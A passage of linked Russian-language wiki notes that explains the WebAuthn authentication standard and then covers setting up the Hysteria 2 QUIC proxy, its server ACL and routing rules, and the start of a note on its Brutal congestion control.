входа. Здесь разобраны регистрация, вход, параметры интерфейса, обнаруживаемые учётные данные и версии стандарта; обмен с внешним устройством описан в [[FIDO/ctap|заметке о связи браузера с ключом]], общая картина — в [[FIDO/fido-protocols|обзоре всей системы]]. ## Что такое WebAuthn WebAuthn — это спецификация W3C (World Wide Web Consortium, консорциума, который выпускает стандарты Всемирной паутины), определяющая, как веб-сайт взаимодействует с аутентификаторами через браузер. Она родилась из черновиков «FIDO 2.0», которые альянс передал в W3C в 2015 году (хронология — в [[FIDO/fido-history|истории FIDO]]), и вместе с протоколом [[FIDO/ctap|CTAP]] составляет стандарт FIDO2. В семействе FIDO (Fast IDentity Online, «быстрая идентификация в сети») WebAuthn отвечает за уровень «сайт ↔ браузер», а CTAP — за уровень «браузер ↔ внешнее устройство». Проще говоря: WebAuthn — это общий язык, на котором любой сайт может попросить «создай мне ключ» или «подпиши этот вызов», не зная и не выбирая, чем именно пользователь подпишет — отпечатком на ноутбуке, телефоном или [[FIDO/hardware-security-keys|аппаратным ключом]]. Выбор аутентификатора — забота браузера и ОС. Сайт, который принимает результат входа, хранит открытый ключ и проверяет подпись, в терминах стандарта называется **relying party** (RP, «полагающаяся сторона»). Регистрация и вход называются «церемониями» (ceremony): это последовательности шагов, часть которых выполняет человек. ## Где заканчивается WebAuthn Страница обращается к браузеру через стандартный набор программных функций. Такой набор называют программным интерфейсом приложения (API); в веб-странице его вызывает код JavaScript. WebAuthn начинается с этого вызова и заканчивается объектом, который браузер возвращает странице. Браузер и операционная система работают посредником между сайтом и устройством: проверяют адрес страницы, выбирают способ подтверждения и не передают сайту закрытый ключ, PIN или биометрический шаблон. Этот слой называется **client platform** («клиентская платформа»). Если выбран внешний ключ или телефон, то есть **roaming authenticator** («внешний аутентификатор»), клиентская платформа переводит WebAuthn-запрос в [[FIDO/ctap|CTAP]]. Встроенный датчик ноутбука или телефона называют **platform authenticator** («платформенный аутентификатор»); он может использовать внутренний интерфейс операционной системы. ```mermaid flowchart LR RP["Сервер сайта
создаёт вызов
проверяет ответ"] <-->|"данные по защищённому соединению"| JS["Страница
создать / получить"] JS <-->|"WebAuthn"| Client["Браузер и ОС
адрес страницы, идентификатор сайта (RP ID), выбор интерфейса"] Client -->|"внутренний интерфейс"| PA["Встроенный аутентификатор"] Client -->|"CTAP"| RA["Внешний аутентификатор"] ``` Страница задаёт политику, а client platform решает, какой интерфейс показать. Параметр `authenticatorAttachment` или новые `hints` выражают предпочтение, но сайт не получает прямой доступ к USB, NFC, Touch ID или телефону. Внешний аутентификатор может подключаться по USB (проводной интерфейс), NFC (Near Field Communication, связь на коротком расстоянии) или BLE (Bluetooth Low Energy, Bluetooth с низким энергопотреблением). Эти транспорты меняют способ доставки запроса, но не саму проверку подписи. ## Церемония регистрации Регистрация связывает новый открытый ключ с аккаунтом и сайтом. Сервер начинает её со свежей случайной задачи, пригодной только для этой попытки; стандарт называет её challenge. Доменную область, для которой создаётся ключ, задаёт RP ID. Точный адрес страницы со схемой, именем узла и портом браузер фиксирует отдельно как origin. Устройство различает физическое действие и проверку владельца. Касание подтверждает присутствие пользователя (User Presence, UP). Ввод локального PIN-кода или биометрия дают проверку пользователя (User Verification, UV). Сайт указывает, какой из этих признаков ему нужен. 1. Сервер генерирует случайный **challenge** («одноразовый вызов») и передаёт странице параметры: свой идентификатор (RP ID, доменное имя без схемы и порта), данные пользователя, допустимые алгоритмы подписи и требования к аутентификатору. 2. Страница вызывает `navigator.credentials.create({publicKey: ...})`. Браузер показывает системный диалог: выбрать аутентификатор, коснуться ключа, ввести PIN или приложить палец. 3. Аутентификатор создаёт новую ключевую пару для этого RP ID и возвращает открытый ключ плюс **attestation** — опциональное свидетельство о происхождении и свойствах устройства ([[FIDO/fido-protocols#Attestation: когда серверу важен тип аутентификатора|зачем оно]]). Закрытый ключ остаётся во внутренней записи устройства, которую спецификация называет **credential source** («источник учётных данных»). 4. Браузер дополняет ответ структурой `clientDataJSON`, куда сам вписывает challenge и сериализованный **origin** страницы: схему, имя узла и порт. Подделать это поле сайт не может: его заполняет браузер. 5. Сервер сверяет challenge, origin, `rpIdHash`, флаги и структуру ответа, проверяет attestation по своей политике и сохраняет открытый ключ вместе с идентификатором **credential** («учётных данных»). На устройстве соответствующий credential source хранит закрытый ключ и служебные параметры; открытый ключ на сервере не является частью credential source. ```mermaid sequenceDiagram participant S as Сервер сайта (RP) participant B as Браузер / клиент WebAuthn participant A as Аутентификатор S->>B: одноразовый вызов + параметры регистрации B->>B: проверить адрес страницы и RP ID B->>A: создать учётные данные A->>A: присутствие / проверка пользователя (UP/UV), новая пара ключей A-->>B: данные аутентификатора + открытый ключ + аттестация B-->>S: данные клиента + объект аттестации S->>S: проверить и сохранить серверную запись ``` ## Церемония входа 1. Сервер присылает свежий challenge (и, при классическом входе по логину, список идентификаторов учётных данных пользователя — `allowCredentials`). 2. Страница вызывает `navigator.credentials.get({publicKey: ...})`; браузер будит аутентификатор, человек подтверждает участие касанием/PIN/биометрией. 3. Аутентификатор возвращает подписанное утверждение (**assertion**) над связкой «данные аутентификатора + хэш clientDataJSON». В данные входят хэш RP ID, **счётчик подписей** и флаги: UP (user presence, «присутствие пользователя», например касание) и UV (user verification, «проверка пользователя» PIN-кодом или биометрией). 4. Сервер проверяет подпись открытым ключом, сверяет challenge, origin, RP ID и счётчик (защита от клонов — тот же приём, что в [[FIDO/u2f#Счётчик: защита от клонов|U2F]]). ```mermaid sequenceDiagram participant S as Сервер сайта (RP) participant B as Браузер / клиент WebAuthn participant A as Аутентификатор S->>B: новый вызов + параметры входа B->>A: получить утверждение A->>A: выбрать учётные данные, присутствие / проверка пользователя (UP/UV) A-->>B: данные аутентификатора + подпись + пользователь B-->>S: данные клиента + утверждение S->>S: проверить вызов, адрес, хэш RP ID, флаги и подпись ``` ## Что лежит внутри ответа `clientDataJSON` создаёт клиент WebAuthn. В нём находятся `type` (`webauthn.create` или `webauthn.get`), серверный challenge, полный origin, признак вызова со страницы другого источника и при необходимости `topOrigin`. Сервер проверяет эти поля после получения ответа. `authenticatorData` — бинарная структура длиной минимум 37 байт. Первые 32 байта содержат `rpIdHash`, затем идёт байт флагов и четырёхбайтовый `signCount`. При регистрации добавляются данные созданной учётной записи и, если есть аттестация, её дополнительные сведения. Данные расширений кодируются в компактном двоичном формате объектов **CBOR** (Concise Binary Object Representation, «компактное двоичное представление объектов»). ```text rpIdHash (32 байта) | flags (1 байт) | signCount (4 байта) | optional data ``` В байте флагов важны UP (user presence), UV (user verification), BE (учётные данные допускают резервное копирование), BS (резервная копия сейчас существует), AT (есть данные аттестации) и ED (есть данные расширения). Комбинация `BE=0, BS=1` недопустима. ## Границы сайта: идентификатор и точный адрес (RP ID и origin) **Origin** («происхождение страницы») — схема, хост и порт страницы. **RP ID** — доменное имя без схемы и порта. Браузер допускает RP ID, равный эффективному домену страницы или его общему регистрируемому доменному суффиксу; стандарт не пытается устанавливать юридическую принадлежность доменов одной организации. В стандарте исходную часть домена называют **effective domain**, а допустимый общий суффикс — **registrable-domain suffix**. Страница `https://login.example.com` может запросить `example.com`, но не соседний домен. Origin попадает в `clientDataJSON`, а `SHA-256(RP ID)` — в `authenticatorData`. Аутентификатор подписывает `authenticatorData || SHA-256(clientDataJSON)`. Сервер обязан проверить оба значения; одна лишь проверка криптографической подписи без origin и `rpIdHash` оставляет реализацию небезопасной. ## Ключевые параметры API При создании учётных данных сайт может задать: - Для предпочтения встроенного средства или внешнего ключа служит параметр **authenticatorAttachment**. Значение `platform` означает встроенный аутентификатор, например системную проверку отпечатка или лица, а `cross-platform` — внешний ключ. - Требование хранить обнаруживаемую учётную запись задаёт параметр **residentKey**. Его современный смысл относится к discoverable credential, несмотря на старое слово «resident» в имени. - Необходимость локальной проверки человека задаёт параметр **userVerification**. Значение `required` требует PIN или биометрию, `preferred` просит их при наличии возможности, а `discouraged` не требует такой проверки. - Запрос свидетельства о модели устройства задаёт параметр **attestation**. Значение `none` отказывается от него; варианты `direct` и `enterprise` запрашивают прямое или корпоративное свидетельство для сред со строгой политикой. Расширения добавляют к обычной регистрации или входу дополнительные данные и операции. Одно из них позволяет аутентификатору детерминированно выводить секрет, пригодный как ключ шифрования, — так менеджеры паролей могут разблокировать хранилище аппаратным ключом, а не только входить по нему. Название `prf` означает псевдослучайную функцию: при одном и том же входе она детерминированно выводит одинаковый секретный результат, но без ключа результат нельзя предсказать. Это необязательное расширение принимает один или два входа и возвращает 32-байтные результаты, связанные с конкретными учётными данными. Приложение может использовать результат как материал для ключа шифрования, но обязано уметь работать с отсутствием поддержки. Другое расширение, `largeBlob`, связывает с учётными данными небольшой непрозрачный блок данных. При регистрации сайт запрашивает поддержку, а при входе выполняет чтение или запись. Это не общий файловый накопитель и не место для закрытого ключа. ## Вход без логина: обнаруживаемые учётные данные (discoverable credentials) Классический второй фактор требует сначала назвать логин, чтобы сервер прислал список учётных данных. **Discoverable credential** («обнаруживаемые учётные данные», устаревший синоним — resident key) хранится у управляющего аутентификатора или системного хранилища учётных данных вместе с идентификатором пользователя. Поэтому сайт может вызвать `get()` с пустым `allowCredentials`, а client platform сама найдёт и покажет учётки для этого RP ID. Так работает вход без предварительного ввода логина и пароля, он же вход по [[FIDO/passkeys|passkey]] («ключу доступа»). У аппаратного ключа такие записи расходуют ограниченную память ([[FIDO/hardware-security-keys|лимиты по моделям]]). С 2022 года к этому добавился **conditional UI** («условное» автозаполнение): браузер предлагает passkey в подсказках поля логина. Сайт вызывает `get()` с `mediation: "conditional"`, а client platform ищет только discoverable credentials. Запрос не открывает модальный диалог заранее; пользователь выбирает credential в обычном интерфейсе автозаполнения и затем проходит локальное подтверждение. Пустой `allowCredentials` просит client platform искать discoverable credentials по RP ID. Непустой список ограничивает выбор заданными идентификаторами учётных данных и нужен для входа по заранее выбранной записи, включая недоступные для самостоятельного поиска учётные данные. Внутренний непрозрачный идентификатор пользователя, который сервис записывает в обнаруживаемые учётные данные, называется `userHandle`. При входе без заранее названного логина сервер использует его, находит аккаунт и дополнительно проверяет, что возвращённый идентификатор учётных данных принадлежит этому пользователю. ## Возможности клиента и подсказки в третьем уровне (Level 3) WebAuthn Level 3 добавляет метод `PublicKeyCredential.getClientCapabilities()` для запроса возможностей клиента. Он сообщает поддержку условного создания и получения учётных данных, входа через телефон и системного аутентификатора. Отсутствующий ключ означает «неизвестно», а не обязательное `false`: браузер может скрывать часть возможностей, чтобы сайт не составлял устойчивый отпечаток браузера, то есть не использовал fingerprinting для слежения. Сайт может подсказать браузеру желательный интерфейс: отдельный ключ безопасности, текущее устройство или телефон. Массив таких необязательных подсказок называется `hints` и принимает значения `security-key`, `client-device` или `hybrid`. Если нужен обязательный тип аутентификатора или UV, сайт задаёт нормативный параметр, а не полагается на подсказку. Подсказка `hybrid` означает вход с телефона на другом компьютере: пользователь сканирует QR-код, телефон подтверждает близость по Bluetooth и передаёт подписанный ответ по защищённому каналу. Такой способ называется **hybrid transport** («гибридный транспорт»). После удаления или переименования ключа доступа сайт может уведомить системное хранилище, чтобы оно не показывало устаревшую запись. Такие вызовы называются signal-методами; они передают сведения от полагающейся стороны аутентификатору и не заменяют серверное удаление учётных данных. ## Что сервер обязан проверить Клиентская библиотека не заменяет серверную проверку. При регистрации сервер сверяет `type`, свежий challenge, разрешённый origin, `rpIdHash`, требуемые UP/UV-флаги и согласованность BE/BS. Затем он извлекает идентификатор учётных данных и открытый ключ, проверяет выбранный алгоритм, отсутствие дубликата и attestation согласно своей политике. При входе сервер сначала находит сохранённую запись учётных данных и пользователя. После этого он проверяет `type`, challenge, origin, `rpIdHash`, флаги и подпись над точными байтами `authenticatorData || SHA-256(clientDataJSON)`. `signCount` служит сигналом возможного клонирования, сброса или гонки; несовпадение требует политики риска, но само по себе не доказывает клон. > [!danger] Challenge нельзя генерировать в браузере > Challenge создаёт сервер в доверенной среде, хранит до завершения церемонии и принимает один раз. W3C рекомендует не менее 16 байт энтропии. Повторно используемый или предсказуемый challenge разрушает защиту от повторного воспроизведения (replay). ## Частые ошибки API Отмена пользователем, истечение времени ожидания и ряд внутренних отказов возвращаются под общим именем `NotAllowedError`, поэтому по одному имени нельзя диагностировать причину. Ошибка границы сайта обычно получает имя `SecurityError` и указывает на неверный домен страницы или RP ID. При создании записи невозможное обязательное требование возвращает `ConstraintError`, совпадение с запрещённым идентификатором — `InvalidStateError`, отсутствие подходящего типа или алгоритма — `NotSupportedError`, а некорректные параметры — `TypeError`. Браузер намеренно скрывает часть подробностей, чтобы сайт не использовал ошибки для тихого определения зарегистрированных credentials и возможностей устройства. Пользовательский интерфейс должен давать безопасный повтор и понятный альтернативный путь, не раскрывая наличие чужого аккаунта. ## Версии стандарта В терминологии W3C **Recommendation** означает утверждённую рекомендацию, **Working Draft** — рабочий черновик, а **Candidate Recommendation** — документ, для которого уже собирают опыт реализаций перед окончательным утверждением. Слово **Snapshot** указывает на зафиксированную датированную редакцию. - **Level 1** — рекомендация W3C, март 2019: базовые церемонии. - **Level 2** — рекомендация, апрель 2021: актуальная стабильная версия (расширения, аттестация для корпоративной среды и уточнения по resident keys). - **Level 3** — Candidate Recommendation Snapshot от 26 мая 2026 года. Это зафиксированная датированная редакция документа, который прошёл проверку, но ещё не стал окончательной рекомендацией (Recommendation). Редакция описывает conditional mediation, hybrid transport, client capabilities, hints, BE/BS-флаги, signal-методы и PRF. Базовый WebAuthn широко поддерживается: Chrome и Firefox — с 2018 года, Safari — с 2019–2020. Новые возможности Level 3 и интеграция с системными хранилищами passkey зависят от версии браузера и ОС. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-protocols|Протоколы FIDO]] — общая картина: challenge-response, привязка к домену, attestation - [[FIDO/ctap|CTAP]] — вторая половина FIDO2: как браузер говорит с внешним ключом - [[FIDO/passkeys|Passkeys]] — потребительская надстройка над discoverable credentials - [[FIDO/u2f|U2F]] — предшественник: второй фактор до WebAuthn - 🔗 [WebAuthn Level 3 (W3C Candidate Recommendation)](https://www.w3.org/TR/webauthn-3/) — актуальная редакция стандарта - 🔗 [WebAuthn Level 2 (W3C Recommendation)](https://www.w3.org/TR/webauthn-2/) — действующая рекомендация предыдущего уровня - 🔗 [webauthn.guide](https://webauthn.guide/) — наглядное введение для разработчиков --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/webauthn.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- title: "🦎 Hysteria 2 — обзор и оглавление" date: 2026-07-11 tags: - hysteria - proxy - quic - обход-блокировок aliases: - Hysteria 2 - Hysteria обзор - Hysteria 2 гайд link: https://v2.hysteria.network/ --- # 🦎 Hysteria 2 — обзор и оглавление > [!info] О чём заметка > Hysteria 2 — прокси-протокол поверх QUIC (UDP), заточенный под работу в сетях с потерями пакетов и под обход цензуры за счёт маскировки под обычный HTTP/3-трафик. Эта заметка — точка входа: что это, кому подходит и в каком порядке читать остальные заметки раздела. Практика вынесена в отдельные атомарные заметки, ссылки на них ниже. ## TL;DR - **Hysteria 2** — это клиент-серверный прокси на базе QUIC (транспорт поверх UDP, а не TCP). Один и тот же исполняемый файл `hysteria` работает и как сервер, и как клиент. - Именно **прокси, а не VPN**: он переносит отдельные соединения, а не IP-пакеты, и в простейшем виде обходится локальным SOCKS5 или HTTP на `127.0.0.1` — без всякого виртуального сетевого интерфейса. TUN-адаптер у официального клиента есть — это тот самый «режим VPN» из интерфейсов других приложений, — но он остаётся отдельным режимом поверх прокси (и `ping` через туннель всё равно не пойдёт: ICMP не проксируется). Чем это отличается от WireGuard и что из различия следует — в [[protocols/00-overview|обзоре протоколов]]. - Главная фишка против цензуры — **маскировка под HTTP/3**: пакеты выглядят как обычный QUIC/HTTP/3, а сам сервер отвечает на HTTP-запросы как настоящий веб-сайт (режим `masquerade`). - Вторая фишка — алгоритм контроля перегрузки **Brutal**: держит заданную фиксированную скорость и не «сдаётся» при потерях пакетов, что полезно на плохих каналах и в мобильных сетях. - Для установки на VPS нужен **домен** (для TLS-сертификата через ACME) и публичный IP. Есть официальный [[Hysteria/install-server|bash-скрипт установки]], разворачивающий systemd-сервис. - Hysteria 2 **несовместим** с Hysteria 1.x — версии протокола разные, клиент и сервер должны быть оба на 2.x. - Актуальная версия на момент написания — **v2.9.3** (июль 2026), проект живёт на [github.com/apernet/hysteria](https://github.com/apernet/hysteria). - Подключаться к серверу Hysteria 2 умеет не только официальный клиент: протокол поддерживают универсальные ядра [[Clash/02-mihomo|mihomo]], [[sing-box/sing-box-extended|sing-box]], а с января 2026 (релиз v26.1.23) — и [[xray/project-x|Xray-core]], где он настраивается как `hysteria` с `version: 2`. ## Что такое Hysteria 2 и зачем он нужен Hysteria — это программа-прокси. Как и у любого прокси, у неё две части: **сервер** (крутится на вашем VPS с зарубежным IP) и **клиент** (запускается на вашем устройстве). Клиент поднимает у вас локально SOCKS5/HTTP-прокси, весь трафик заворачивается на сервер, а сервер уже ходит в интернет от своего имени. Снаружи для провайдера видно только зашифрованное соединение до вашего сервера. Ключевое отличие от привычных [[VLESS/dpi-tls-june-2026|VLESS+TLS]] и большинства других решений: Hysteria работает **не по TCP, а по QUIC поверх UDP**. Это даёт два практических следствия. **Первое — устойчивость к потерям пакетов.** TCP при потере пакета резко сбрасывает скорость (так устроен его контроль перегрузки). На нестабильных каналах — мобильный интернет, перегруженные международные линии, Wi-Fi с помехами — это ощущается как «интернет тормозит, хотя канал вроде есть». Hysteria использует свой алгоритм [[Hysteria/bandwidth-brutal|Brutal]], который держит заданную скорость и компенсирует потери, а не паникует из-за них. **Второе — маскировка под HTTP/3.** QUIC — это транспорт, на котором работает HTTP/3, и его сегодня используют Google, Cloudflare и множество крупных сайтов. Поэтому UDP-трафик на порт 443, похожий на HTTP/3, — это не аномалия, а обыденность. Hysteria этим пользуется: она не просто шлёт «похожие» пакеты, но и заставляет сервер отвечать на обычные HTTP-запросы как настоящий сайт (режим [[Hysteria/config-server|masquerade]]). Если цензор или админ провайдера постучится на ваш сервер браузером — увидит нормальную веб-страницу, а не «подозрительный прокси». > [!warning] QUIC и UDP блокируют не везде одинаково > Сильная сторона Hysteria (работа по UDP/QUIC) в некоторых сетях становится слабостью: часть провайдеров и мобильных операторов режет или полностью блокирует UDP на 443 порту либо троттлит длинные UDP-сессии. Тогда Hysteria «отвалится» там, где TCP-based VLESS ещё работает. Обходные приёмы — [[Hysteria/obfs-port-hopping|обфускация и port hopping]]; но если UDP зарезан полностью, Hysteria не поможет, и стоит держать про запас TCP-решение. ## С чего начать Порядок для развёртывания «с нуля» на своём VPS: - [ ] Прочитать этот обзор целиком, чтобы понять модель клиент-сервер. - [ ] Подготовить VPS и домен, поставить сервер по [[Hysteria/install-server|скрипту установки]]. - [ ] Написать конфиг сервера по [[Hysteria/config-server|гайду по серверному конфигу]] (ACME + masquerade + пароль). - [ ] Настроить [[Hysteria/config-client|клиент]] на своём устройстве (SOCKS5/HTTP или TUN). - [ ] При проблемах с подключением свериться с [[Hysteria/troubleshooting|разбором типичных ошибок]]. - [ ] Если UDP режется — включить [[Hysteria/obfs-port-hopping|обфускацию и port hopping]]. ## Заметки раздела **Базовая установка и настройка:** - [[Hysteria/install-server|Установка сервера]] — официальный bash-скрипт, systemd, ручная установка бинарника, Docker. - [[Hysteria/config-server|Конфиг сервера]] — ACME/собственный сертификат, аутентификация, masquerade, полезные поля. - [[Hysteria/config-client|Конфиг клиента]] — server/auth/bandwidth, режимы SOCKS5/HTTP/TUN, TLS для самоподписанных сертификатов. - [[Hysteria/bandwidth-brutal|Скорость и Brutal]] — как работает контроль перегрузки, зачем поле `bandwidth` и почему «больше» не значит «лучше». - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — что делать, если провайдер режет QUIC или троттлит UDP-порт. - [[Hysteria/troubleshooting|Решение проблем]] — расшифровка частых ошибок клиента и сервера. **Продвинутые темы:** - [[Hysteria/port-hopping-manual|Port hopping вручную (DNAT)]] — ручной проброс диапазона портов через iptables/nftables, когда встроенного `listen: :20000-50000` недостаточно. - [[Hysteria/acl-outbounds|ACL и маршрутизация трафика]] — блокировка адресов, разведение трафика по разным outbound'ам, GeoIP/GeoSite. - [[Hysteria/traffic-stats-api|Traffic Stats API]] — HTTP-API статистики: трафик по пользователям, кто онлайн, отключение (kick). - [[Hysteria/tproxy|Прозрачный прокси (TPROXY)]] — перехват всего TCP/UDP-трафика на Linux-шлюзе без настройки приложений. - [[Hysteria/realms-nat|Realms: сервер за NAT]] — хостинг без белого IP через P2P и UDP hole punching. ## Hysteria 2 против Hysteria 1 Hysteria 2 унаследовал почти все возможности версии 1.x, но **протокол и кодовая база переписаны, и совместимости между версиями нет** — клиент и сервер должны быть оба на 2.x. Ключевые улучшения версии 2: новый протокол с маскировкой под HTTP/3, установление UDP-сессии за 0-RTT (нет задержки на первый пакет), система ACL и outbound'ов на стороне сервера, Traffic Stats API. Из версии 1.x пока не перенесли клиентский ACL (ACL есть только на сервере) и протокол FakeTCP. ## 📚 См. также - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — TCP-based альтернатива; полезно как запасной вариант, если UDP в сети зарезан. - [[protocols/tuic|TUIC]] — второй крупный QUIC-протокол: 0-RTT и честный UDP, но без маскировки под HTTP/3 и без серверной обвязки Hysteria. - [[protocols/00-overview|Обзор протоколов]] — карта протоколов обхода и таблица поддержки в ядрах. - [[VPS/BBR|Включение BBR на VPS]] — BBR как один из алгоритмов контроля перегрузки, который Hysteria тоже умеет использовать (когда Brutal не задействован). - 🔗 [Официальная документация Hysteria 2](https://v2.hysteria.network/) — первоисточник всех настроек. - 🔗 [github.com/apernet/hysteria](https://github.com/apernet/hysteria) — исходники, релизы, issue tracker. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/00-overview.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - acl - маршрутизация - outbounds - geoip aliases: - Hysteria ACL - Hysteria outbounds - Hysteria маршрутизация трафика - Hysteria блокировка адресов link: https://v2.hysteria.network/docs/advanced/ACL/ --- # 🦎 Hysteria 2 — ACL и маршрутизация трафика > [!info] О чём заметка > Как настроить на сервере Hysteria 2 правила ACL: блокировать адреса, разводить трафик по разным «выходам» (outbounds) и перехватывать соединения. Это серверная возможность — задаётся в [[Hysteria/config-server|серверном конфиге]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **ACL (Access Control List)** — список правил на сервере, которые решают, что делать с каждым соединением клиента: пропустить, заблокировать или отправить через определённый outbound. - **Outbound** — это «выход»/«шлюз», через который соединение уходит в интернет: `direct` (напрямую), `socks5` или `http` (через ещё один прокси). ACL связывает адреса с нужным outbound. - Правила матчатся **сверху вниз**, срабатывает первое подходящее; если ни одно не подошло — используется первый (`default`) outbound. - ACL полностью работает **без своих outbound'ов** — встроенные `direct`, `reject`, `default` доступны всегда. Самое частое применение — просто заблокировать список адресов через `reject(...)`. - ACL — только на стороне сервера. В Hysteria 2 клиентского ACL пока нет (см. [[Hysteria/00-overview|обзор]]). ## Что такое ACL и outbounds простыми словами Представьте, что сервер Hysteria — это диспетчер, через которого проходят все запросы клиента. **Outbound** — это «дверь на выход»: через какую дверь выпустить соединение наружу. По умолчанию дверь одна — `direct` (сервер идёт в интернет напрямую от своего имени). Но дверей может быть несколько: например, ещё одна ведёт через сторонний SOCKS5-прокси. **ACL** — это список правил вида «такой-то адрес → в такую-то дверь» (или «такой-то адрес → заблокировать»). Диспетчер смотрит правила по порядку сверху вниз и применяет первое, которое подошло под адрес запроса. Зачем это нужно на практике: - **Блокировать** нежелательные адреса/протоколы (реклама, локальные сети, спам-порты). - **Разводить трафик**: например, весь трафик — напрямую, а Netflix — через отдельный резидентный прокси, который Netflix не банит. - **Перехватывать** соединения на другой адрес (например, подменять DNS-сервер). ## Синтаксис правил Правило ACL — это одна из форм: ```python outbound(address) outbound(address, proto/port) outbound(address, proto/port, hijack_address) # строка-комментарий начинается с # ``` Где `outbound` — имя выхода (свой из списка `outbounds` или встроенный), `address` — на какой адрес соединение, `proto/port` — необязательный фильтр по протоколу/порту, `hijack_address` — необязательный адрес перехвата. ### Типы адресов - Один IP: `1.1.1.1` или `2606:4700:4700::1111`. - CIDR-подсеть: `73.0.0.0/8` или `2001:db8::/32`. - Домен (без поддоменов): `example.com`. - Домен с wildcard: `*.example.com` или `*.google.*`. - Суффикс домена (с поддоменами): `suffix:example.com` — матчит и сам домен, и все поддомены. - **GeoIP** — по стране: `geoip:cn`, `geoip:us`. - **GeoSite** — по категории сайтов: `geosite:netflix`, `geosite:google` (с атрибутами — `geosite:google@ads`). - `all` — все адреса. Обычно ставится последним как правило «для всего остального». > [!note] Что такое GeoIP/GeoSite > **GeoIP** — база «IP → страна», позволяет писать правила про целые страны, не перечисляя подсети. **GeoSite** — база «домен → категория» (netflix, google, facebook…), удобна для правил про сервисы целиком. Hysteria при первом использовании таких правил сама скачивает свежие базы (из проекта [Loyalsoldier/v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)) в рабочую директорию. ### Протокол и порт - `tcp` / `tcp/*` — все TCP-порты, `udp` / `udp/*` — все UDP. - `tcp/80` — TCP порт 80; `udp/53` — UDP порт 53; `udp/20000-30000` — диапазон. - `*/443` — TCP и UDP на 443; `*` или опущено — любой протокол и порт. ### Адрес перехвата (hijack) Если указан третий аргумент, соединение под это правило **перенаправляется** на заданный адрес (только IP, не домен). Пример — насильно завернуть публичный DNS `8.8.8.8` на `1.1.1.1`. ## Встроенные outbounds Даже с пустым списком `outbounds` всегда доступны три встроенных: - **`direct`** — прямое соединение (конфигурация `auto`, без привязки к интерфейсу). - **`reject`** — отклонить соединение (это и есть «блокировка»). - **`default`** — первый outbound из списка; если список пуст — эквивалент `direct`. ## Подключение ACL в конфиге сервера ACL задаётся в [[Hysteria/config-server|серверном config.yaml]]. Можно писать правила прямо в конфиге (`inline`) или вынести в отдельный файл (`file`) — но не то и другое одновременно. Inline-вариант (правила прямо в конфиге): ```yaml acl: inline: - reject(suffix:v2ex.com) - reject(all, udp/443) - reject(geoip:cn) - reject(geosite:netflix) ``` Вариант с файлом: ```yaml acl: file: some.txt ``` ## Примеры Самое частое — просто заблокировать нежелательное (тут даже свои outbound'ы не нужны, хватает встроенного `reject`): ```python # Заблокировать китайские IP и Facebook reject(geoip:cn) reject(geosite:facebook) # Заблокировать локальные сети reject(10.0.0.0/8) reject(172.16.0.0/12) reject(192.168.0.0/16) reject(fc00::/7) ``` > [!tip] Блокировка QUIC/HTTP/3 через ACL > Правило `reject(all, udp/443)` блокирует QUIC (HTTP/3) для всего проксируемого трафика. Это полезный приём: HTTP/3 через прокси Hysteria не ускоряется (см. [[Hysteria/bandwidth-brutal|Скорость и Brutal]]), и принудительный откат сайтов на TCP-based HTTP/2 часто даёт более стабильную скорость. Разведение трафика по разным выходам. Пусть заданы outbound'ы `v4_only`, `v6_only` (оба `direct` с фиксированным IP-режимом) и `some_proxy` (SOCKS5): ```python # Google — через IPv6-выход v6_only(suffix:google.com) # Twitter — через IPv4-выход v4_only(suffix:twitter.com) # ipinfo.io — через сторонний SOCKS5 some_proxy(ipinfo.io) # Перехватить 8.8.8.8 на 1.1.1.1, только UDP 53 (DNS) default(8.8.4.4, udp/53, 1.1.1.1) # Всё остальное — напрямую direct(all) ``` > [!warning] Порядок правил важен > Правила матчатся строго сверху вниз, применяется первое подходящее. Если ни одно не сработало — берётся первый outbound из списка (`default`). Поэтому общее правило `all` всегда ставят последним, иначе оно «съест» все соединения раньше, чем до них дойдут более специфичные правила. Важно и то, что IP-правило действует на **все** соединения, ведущие к этому IP, — даже если клиент запросил домен: Hysteria сперва резолвит домен и матчит и по домену, и по получившемуся IP. ## 📚 См. также - [[Hysteria/config-server|Конфиг сервера]] — куда вписывать секцию `acl` и список `outbounds`. - [[Hysteria/bandwidth-brutal|Скорость и Brutal]] — почему полезно резать HTTP/3 (`reject(all, udp/443)`). - [[Hysteria/traffic-stats-api|Traffic Stats API]] — мониторинг и отключение пользователей на сервере. - [[Hysteria/00-overview|Hysteria 2 — обзор]] — почему ACL пока только серверный. - 🔗 [ACL — официальная документация](https://v2.hysteria.network/docs/advanced/ACL/) · [Outbounds в Full Server Config](https://v2.hysteria.network/docs/advanced/Full-Server-Config/#outbounds) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/acl-outbounds.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - скорость - congestion-control - brutal - bbr aliases: - Hysteria Brutal - Hysteria bandwidth - Hysteria скорость link: https://v2.hysteria.network/docs/advanced/Full-Server-Config/#congestion-control-details --- # 🦎 Hysteria 2 — скорость и алгоритм Brutal > [!info] О чём заметка > Почему у Hysteria есть поле `bandwidth`, как работает фирменный алгоритм контроля перегрузки **Brutal** и как правильно выставить скорость, чтобы не сделать хуже. Про базовые конфиги — в заметках [[Hysteria/config-client|клиент]] и 